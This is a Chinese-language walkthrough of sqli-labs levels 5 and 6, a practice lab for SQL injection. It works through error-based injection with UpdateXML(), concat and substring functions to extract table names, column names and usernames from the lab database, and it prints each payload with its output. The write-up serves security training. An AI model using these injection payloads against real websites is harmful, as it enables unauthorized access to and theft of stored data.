sqli-labs 5~6 多命通关攻略
- 描述
- 判断注入类型
- 正常输入
- 不正常输入
- 错误输入
- 判断 SQL 查询结果的列数
- 猜测 SQL 查询结果中的列数为两列
- 猜测 SQL 查询结果中的列数为三列
- 猜测 SQL 查询结果中的列数为四列
- 爆破方式的可行性
- 函数 UpdateXML()
- 爆破(报错注入)
- 爆破表名
- 爆破列名
- 报错信息显示不全
- right() 函数
- 计算回显区域可显示的最大字符数量
- 使用 right() 函数
- 偏移量
- 第一次偏移
- 验证
- 翻车总结
- 第一次偏移(修正版)
- 第二次偏移
- 第三次偏移
- 整合
- 总结
- 爆破字段
- 第一次偏移
- 原因分析
- 第一次偏移(修正版)
- 第二次偏移
- 第三次偏移
- 第四次偏移
- 整合
- 第六关
- 注入类型
描述
项目 | 描述 |
---|---|
操作系统 | Windows 10 专业版 |
MySQL 版本 | 5.7.40 |
Apache 版本 | 2.4.39 |
判断注入类型
正常输入
观察 Users 表的数据,可知 id 的正常输入的范围应为 1~13、14。
构造如下语句,观察页面返回的内容:
?id=1
返回结果为:
You are in…
不正常输入
构造如下语句,观察返回结果
?id=1000
可以看到,使用上述语句后,页面回显区域没有显示任何内容。
错误输入
构造如下语句,观察返回结果:
?id='
返回结果为:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’‘’ LIMIT 0,1’ at line 1
由返回结果我们也可以判断该关卡的 SQL 注入类型应该为 单引号字符型注入。
判断 SQL 查询结果的列数
猜测 SQL 查询结果中的列数为两列
?id=1' order by 2--+
返回结果:
You are in…
猜测 SQL 查询结果中的列数为三列
?id=1' order by 3--+
返回结果:
You are in…
猜测 SQL 查询结果中的列数为四列
?id=1' order by 4--+
返回结果为:
Unknown column ‘4’ in ‘order clause’
这说明 SQL 查询返回结果的列数为三列。
爆破方式的可行性
该题可使用的爆破方式有:
- 布尔盲注
- 时间盲注
- 报错注入
本题我们将采用 报错注入 的方式来进行爆破。
函数 UpdateXML()
UpdateXML(xml_target, xpath_expr, new_xml)
此函数替换给定片段的部分 XML 标记 xml_target 与新的 XML 片段new_xml,然后 返回更改的 XML。替换的xml_target部分匹配 XPath 表达式xpath_expr 由用户提供。
上述内容整理自 MySQL 官网
简单来说,UpdateXML() 函数的功能是通过 XPath 来匹配 XML 片段并使用用户提供的内容对其进行替换。
这个函数之所以可以被用于报错注入,原因如下:
当函数 UpdateXML() 的参数 xpath_expr 不符合 XPath 语法规范时,将抛出错误,且 xpath_expr 的内容将被包含在报错信息中。
如果 xpath_expr 是一个可被成功执行的 SQL 语句,则报错信息将包含该 SQL 语句执行的结果。所以我们可以利用这个参数来达到爆破数据库的目的。
爆破(报错注入)
爆破表名
可通过构造如下语句对 security 数据库中的表名进行爆破:
?id=' union select 1,2,updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()), 0x7e), 1)--+
返回结果为:
XPATH syntax error: ‘~emails,referers,uagents,users~’
其中:
- MySQL CONCAT()函数需要一个或多个字符串参数,并将它们连接成一个字符串。CONCAT()函数需要至少一个参数,否则会引起错误。
- 0x7e 对应的 ASCII 字符为 ~,这里我们使用该字符与 SQL 查询结果进行拼接来破坏 XPath 的正常语法,从而达到报错注入的目的。
当然并不是所有的报错注入都需要通过 concat() 函数来破坏 XPath 的正常语法,比如下面这个语句即使不使用 concat() 函数也可以实现报错注入:
?id=' union select 1,2,updatexml(1, (select group_concat(column_name) from information_schema.columns where table_name='users'), 1)--+
而有些函数就需要 concat() 函数的帮助:
?id=' union select 1,2,updatexml(1, (select database()), 1)--+
你可以将它修改为如下形式来达到报错注入的目的:
?id=' union select 1,2,updatexml(1, concat(0x7e, (select database()), 0x7e), 1)--+
爆破列名
报错信息显示不全
可通过如下语句对 users 表中的列名进行爆破:
?id=' union select 1,2,updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name='users'), 0x7e), 1)--+
返回结果:
XPATH syntax error: ‘~USER,CURRENT_CONNECTIONS,TOTAL_’
注:
返回结果最右边的两个字符并不是 ~',要知道我们可是用 concat() 函数在 SQL 查询结果的两旁拼接了字符 ~,这表明网页在设计过程中限制了回显区域的显示长度,导致报错信息显示不全。
right() 函数
你可以使用 right() 函数从目标字符串中截取指定数量的字符。right() 函数接受两个参数,第一个参数为 目标字符串,第二个参数为 需要截取字符的数量。该函数将从目标字符串的右部分开始截取,与该函数功能类似的函数还有 left()。
计算回显区域可显示的最大字符数量
通过 字符串长度在线计算工具 的计算结果,我们明白了回显区域显示的最大字符串长度为 32,因此我们可以将 right() 函数的第二个参数设置为 32。
使用 right() 函数
接下来,让我们通过 right() 函数将另一部分显示出来:
?id=' union select 1,2,right(updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name='users'), 0x7e), 1), 32)--+
返回结果:
XPATH syntax error: ‘~USER,CURRENT_CONNECTIONS,TOTAL_’
返回结果似乎并没有发生任何变化,问题出在 right() 函数吗?
不,问题出在 UpdateXML()。原因在于:
right() 函数需要发挥作用就需要等待 updatexml() 函数执行完毕,但 updatexml() 在遇到我们故意出错的 XPath 表达式后,将抛出错误,并不会执行外层的 right() 函数。
让我们再次修改语句,使其显示报错信息的右部
?id=' union select 1,2,updatexml(1, right(concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name='users'), 0x7e), 32), 1)--+
返回结果:
XPATH syntax error: ‘,id,username,password~’
偏移量
我们可以通过增加 right() 函数的第二个参数来观察报错信息的中间部分,但该增加多少呢?
我们刚刚对回显区域可显示的最大字符数量的统计此时又可以派上用场了,我们可以每次将 right() 函数的第二个参数增加 32 来观察其他部分的报错信息,直到看到位于最左端的字符 ~。
第一次偏移
?id=' union select 1,2,updatexml(1, right(concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name='users'), 0x7e), 64), 1)--+
返回结果为:
XPATH syntax error: ‘,CURRENT_CONNECTIONS,TOTAL_CONNE’
验证
让我们来验证一下,偏移量设置为回显区域显示的最大字符长度这个结论是否正确。
将偏移量减小为 48,构造语句如下:
?id=' union select 1,2,updatexml(1, right(concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name='users'), 0x7e), 48), 1)--+
返回结果:
XPATH syntax error: ‘,TOTAL_CONNECTIONS,id,username,p’
可以发现,这个结论出错了。
翻车总结
在 right() 函数无法精确对回显区域的显示内容进行精确的偏移后,我尝试了 substr()、mid()、substring() 等截取函数,发现都无法做到精确偏移的效果。
退而求其次,我们可以将偏移量减小为回显区域可显示的最大字符长度的一半。在这个例子中,我们可以将 right() 函数的第二个参数由原来的 32 减小为 16。
第一次偏移(修正版)
构造语句如下:
?id=' union select 1,2,updatexml(1, right(concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name='users'), 0x7e), 48), 1)--+
返回结果:
XPATH syntax error: ‘,TOTAL_CONNECTIONS,id,username,p’
第二次偏移
构造语句如下:
?id=' union select 1,2,updatexml(1, right(concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name='users'), 0x7e), 64), 1)--+
返回结果:
XPATH syntax error: ‘,CURRENT_CONNECTIONS,TOTAL_CONNE’
第三次偏移
构造语句如下:
?id=' union select 1,2,updatexml(1, right(concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name='users'), 0x7e), 80), 1)--+
返回结果:
XPATH syntax error: ‘~USER,CURRENT_CONNECTIONS,TOTAL_’
在看到最左端的字符 ~,也就说明我们的偏移工作已经完成了。
整合
对前面所获得的数据进行整合,我们可以获取到完整的错误信息:
XPATH syntax error: ‘~USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password~’
总结
观察上面多次的偏移结果,我们可以发现我们为 right() 函数设置的第二个参数并不总是如我们所愿的原因是 符号问题,不信你看:
- right() 函数的第二个参数为 32 时的返回结果。
- right() 函数的第二个参数为 64 时的返回结果。
- right() 函数的第二个参数为 48 时的返回结果。
4. right() 函数的第二个参数为 80 时的返回结果。
各位发现了吗,报错信息中的第一个字符总是 , 或 ;,至于原因暂不了解,如果你知道,恳请告诉我。
爆破字段
这里我们将通过报错注入爆破 数据库 security 下的表 users 中的字段 username 及 password。
我们将构造如下语句爆破字段 username:
?id=' union select 1,2,updatexml(1, concat(0x7e, (select group_concat(username) from users), 0x7e), 1)--+
返回结果:
XPATH syntax error: ‘~Dumb,Angelina,Dummy,secure,stup’
返回结果显示不全,这次我们使用 left() 函数来进行字符串的截取,也推荐更多的使用 left() 函数而不是 right() 函数,因为在这类情况中,我们发现这个问题时往往已经看到了最左边的内容,使用 left() 函数可以减少截取的次数。
第一次偏移
?id=' union select 1,2,updatexml(1, left(concat(0x7e, (select group_concat(username) from users), 0x7e), 48), 1)--+
返回结果:
XPATH syntax error: ‘~Dumb,Angelina,Dummy,secure,stup’
怎么没有发生变化,即使将其 left() 函数的第二个参数改为 1000 也不会有任何变化。
原因分析
理想是美好的但现实是残酷的。细想过后,我们忽略了这么一个现实:
回显区域中显示的报错信息在长度不够时,将显示报错信息的前一部分内容,而 left() 函数是从左往右截取指定数量的字符,因此前面的操作并没有成功。
明白原理后,我们可以通过使用 right() 函数进行偏移,也可以使用 substr()、substring()、mid() 等函数。right() 函数是从右往左开始截取指定数量的字符,而 substr() 等函数则可以指定开始截取的位置(从 1 开始计数)以及截取字符的数量,因此这些函数都可以达到从左往右开始截取以减少截取次数的目的。
接下来,我将使用 substr() 函数作为示范,mid() 及 substring() 函数的功能及参数设置与 substr() 相同,再看完接下来的内容后你可以尝试使用另外两个函数攻破本关。
第一次偏移(修正版)
由于使用了另一类(参数个数及参数含义均不同)字符串截取函数,我们需要思考如何设置 substr() 的参数来保证不会遗漏的同时可以减少截取的次数。
这里我们将第二个参数(开始截取的位置,从 1 开始)设置为 16(回显区域报错信息所能显示的最大字符数的一半),并在以后每次都对该参数的值增加 16;第二个参数我们设置为 32,因为回显区域报错信息所能显示的最大字符数为 32。
?id=' union select 1,2,updatexml(1, substr(concat(0x7e, (select group_concat(username) from users), 0x7e), 16, 32), 1)--+
返回结果:
XPATH syntax error: ‘,secure,stupid,superman,bat’
第二次偏移
?id=' union select 1,2,updatexml(1, substr(concat(0x7e, (select group_concat(username) from users), 0x7e), 32, 32), 1)--+
返回结果:
XPATH syntax error: ‘,superman,batman,admin,admin1’
第三次偏移
?id=' union select 1,2,updatexml(1, substr(concat(0x7e, (select group_concat(username) from users), 0x7e), 48, 32), 1)--+
返回结果:
XPATH syntax error: ‘,admin,admin1,admin2,admin3,d’
第四次偏移
?id=' union select 1,2,updatexml(1, substr(concat(0x7e, (select group_concat(username) from users), 0x7e), 64, 32), 1)--+
返回结果:
XPATH syntax error: ‘,admin2,admin3,dhakkan,admin4~’
好了,到这里我们已经将所有的报错信息显示出来了,接下来让我们对这些内容进行整合。
整合
将前面截取到的部分报错信息整合后的结果如下:
XPATH syntax error: ‘~Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4~’
好了本关卡到这里就结束了。等等,你是想告诉我,我还没有爆破 password 字段吗?
原理和爆破 username 字段相同,爆破 password 字段的任务就交给勤劳的各位了。
第六关
上面的内容均是第五关的讲解,第六关与第五关绝大多数内容都类似,这里我将讲解它们之间的不同内容。
注入类型
第六关与第五关的区别在于注入类型的不同,让我们通过构造语句来进行验证:
?id='
可以观察到回显区域中未显示任何内容,说明第六关并不与第五关相同,并不都是单引号字符型注入。
让我们再构造如下语句:
?id="
返回结果为:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘“”" LIMIT 0,1’ at line 1
从返回结果可以判断出该关卡的注入类型应为双引号字符型注入。
在其它方面该关卡与第五关无异,请持着一颗热爱探索的心继续前进吧。